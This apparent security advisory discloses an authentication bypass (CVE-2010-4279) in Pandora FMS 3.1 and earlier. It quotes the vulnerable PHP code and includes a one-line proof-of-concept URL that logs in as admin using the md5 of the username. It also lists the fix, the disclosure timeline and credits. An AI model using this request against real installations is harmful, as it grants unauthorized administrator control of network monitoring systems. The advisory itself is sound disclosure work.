Pandora FMS <= 3.1 Authentication Bypass

Risk: High
Local: No
Remote: Yes
CWE: CWE-287

CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

[+] Introduction Pandora FMS (for Pandora Flexible Monitoring System) is a software solution for monitoring computer networks. It allows monitoring in a visual way the status and performance of several parameters from different operating systems, servers, applications and hardware systems such as firewalls, proxies, databases, web servers or routers. It can be deployed in almost any operating system. It features remote monitoring (WMI, SNMP, TCP. UDP, ICMP, HTTP...) and it can also use agents. An agent is available for each platform. It can also monitor hardware systems with a TCP/IP stack, such as load balancers, routers, network switches, printers or firewalls. This software has several servers that process and get information from different sources, using WMI for gathering remote Windows information, a predictive server, a plug-in server which makes complex user-defined network tests, an advanced export server to replicate data between different sites of Pandora FMS, a network discovery server, and an SNMP Trap console. Released under the terms of the GNU General Public License, Pandora FMS is free software. [+] Description and Proof of Concept 1) Authentication bypass - CVE-2010-4279 - CVSS: 10/10 An attacker could access to any account user, including admin, using the "hash login" authentication process. This kind of authentication method works providing a username and a hash. The issue could be exploited remotely providing a username and the md5 of it when $config['loginhash_pwd'] is empty, that in fact is the default configuration. Snippet of vulnerable code in index.php: 136 // Hash login process 137 if (! isset ($config['id_user']) && isset ($_GET["loginhash"])) { 138 $loginhash_data = get_parameter("loginhash_data", ""); 139 $loginhash_user = get_parameter("loginhash_user", ""); 140 141 if ($loginhash_data == md5($loginhash_user.$config["loginhash_pwd"])) { 142 logon_db ($loginhash_user, $_SERVER['REMOTE_ADDR']); 143 $_SESSION['id_usuario'] = $loginhash_user; 144 $config["id_user"] = $loginhash_user; Proof of concept: http://servername/pandora_console/index.php?loginhash_data=21232f297a57a5a743894a0e4a801fc3&loginhash_user=admin&loginhash=1 Got it! admin! :) By default, any installation of this software allows unauthenticated attackers to perform an authentication bypass and a privilege escalation to admin. 1.1) Additionally, a manual modification in order to use the hash_hmac function instead of the weak statement md5 ( $string . $KEY) is encouraged for security purposes. Snippet of code (index.php, version 3.1.1): 145 // Hash login process (...) 150 if ($config["loginhash_pwd"] != "" && $loginhash_data == md5($loginhash_user.$config["loginhash_pwd"])) { In line 150, use hash_hmac("sha256",$loginhash_user,$config["loginhash_pwd"]), instead of md5($lioginhash_user.$config["loginhash_pwd"]) [+] Impact An attacker can execute commands of the operating system, inject remote code in the context of the application, get arbitrary files from the filesystem or extract any data of the database including passwords and confidential information about the monitored network/systems. Also it is possible to bypass the authentication or scale privileges to became admin, gaining full control of the web application and web server. These vulnerabilities have a high impact to the confidentiality, integrity, and availability of the system. [+] Systems affected Versions prior and including 3.1 of Pandora FMS are affected [+] Solution Apply the security fix for version 3.1: Or upgrade to version 3.1.1 from [+] Timeline Ago 2010: First contact to vendor Ago 2010: Confirmation of vendor Sept 2010: Second contact: SQL Injection vulnerabilities Sept 2010: Confirmation that the fix will be released on October Oct 2010: PandoraFMS security patch for 3.1 version released Oct 2010: Request for CVE numbers Nov 2010: PandoraFMS version 3.1.1 released Nov 2010: Disclosure of this advisory [+] References Official PandoraFMS site: SourceForge PandoraFMS site: Wikipedia entry about PandoraFMS: Common Vulnerability Scoring System (CVSS) v2 calculator: Common Vulnerabilities and Exposures (CVE): [+] Credits These vulnerabilities has been discovered by Juan Galiana Lara - @jgaliana - -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.10 (GNU/Linux) iQIcBAEBAgAGBQJM9NctAAoJEJaV5RMdiDI7cTMP/jzyDB8hcuTGYy+hHnehx0Fy YbVmWTMCUhIHZ6Y6ke1xLbFf0itFm/tMSvqC/20cAKC0x+QEmEVoSJPerT+Fc/3s IVjIEMxBbaKNM6inAElng5BzC0MTOjI+njtpF7pmLaIFBy8C77+u/LNrSM7tucy9 WIx6ILVGSO0LY5vfgwdRAcJow6p/wn50U4Ur2XOVZ/X10Gbsb+9qMd4+q1d87Cw4 cC+mqTefLeP8FNh6PB2tJpdpQqJ3R2G8719fHgmDm/5SVBkoXZRhjHKokR9+wtzP JPJWP3z1Zt+Wtn3+ANakDItBenbgafM2lMe0tkiy9LoQKMKepibLqOf9xfrKqTnP 8CRffcV8nLorGBoKk7UKVb3I14llt34cu+Vcx2+WgDz37hXV1iK7pufGuFxVVRE4 7etidHR9n7gO1WPbLmrKq4rrR02zhYnAHsGwjtFQId3ufRGSBTno3yNHFj1j0EvH pARhwbRtjIiSk8JF3TjeTswGMpCIItpQ051K4Bcpbtzte7fX05CLoaF6xyJBJlS5 yNuxaBnGZYVOvUd+emosH+5ngW7Qk8/wXljx2OyVOu6ip75UZ277MRLBJvlq+NC4 oBllQOzv521fd5hkgYEQ8VZQgWCzbeRTuh+t4z+MUHKTQlcE2I0ba9C6xdn0nkZF sn9vRJk4gc/PozOXDjC3 =WmOh -----END PGP SIGNATURE-----


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